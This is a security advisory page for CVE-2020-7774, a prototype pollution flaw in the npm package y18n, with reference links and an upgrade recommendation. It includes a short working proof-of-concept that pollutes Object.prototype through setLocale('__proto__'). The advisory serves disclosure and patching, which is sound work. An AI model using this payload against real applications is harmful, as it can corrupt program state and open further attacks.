Prototype Pollution in y18n
### Overview The npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. ### POC ```js const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true ``` ### Recommendation Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.
01
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2020-7774US | critical9.8 | — | ||
The package y18n before 3.2.2, 4.0.1 and 5.0.5, is vulnerable to Prototype Pollution. | ||||
02
references
External citations — patches, advisories, analysis.
- https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdfWEB
- https://github.com/yargs/y18nPACKAGE
- https://github.com/yargs/y18n/commit/90401eea9062ad498f4f792e3fff8008c4c193a3WEB
- https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25WEB
- https://github.com/yargs/y18n/issues/96WEB
- https://github.com/yargs/y18n/pull/108WEB
- https://nvd.nist.gov/vuln/detail/CVE-2020-7774ADVISORY
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306WEB
scry
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan